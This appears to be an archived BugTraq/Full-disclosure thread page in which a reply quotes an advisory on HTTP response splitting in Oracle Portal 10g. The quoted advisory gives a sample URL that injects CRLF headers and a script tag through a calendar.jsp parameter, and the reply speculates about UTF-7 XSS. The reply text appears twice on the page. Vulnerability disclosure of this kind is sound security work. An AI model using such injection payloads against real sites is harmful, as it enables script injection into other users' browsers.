BugTraq
Back to list
|
Post reply
Oracle Portal 10g HTTP Response Splitting
Dec 20 2006 02:19PM
putosoft softputo (hasecorp hotmail com)
(1 replies)
Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
Dec 20 2006 06:55PM
Brian Eaton (eaton lists gmail com)
On 12/20/06, putosoft softputo <hasecorp (at) hotmail (dot) com [email concealed]> wrote:
> Oracle Portal/Applications HTTP Response Splitting
> --------------------------------------------------
>
> Sample:
>
> http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-leng
th=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E
So they let the URL specify the content-encoding? They might be
vulnerable to XSS via UTF-7 as well.
Regards,
Brian
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
> Oracle Portal/Applications HTTP Response Splitting
> --------------------------------------------------
>
> Sample:
>
> http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-leng
th=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E
So they let the URL specify the content-encoding? They might be
vulnerable to XSS via UTF-7 as well.
Regards,
Brian
[ reply ]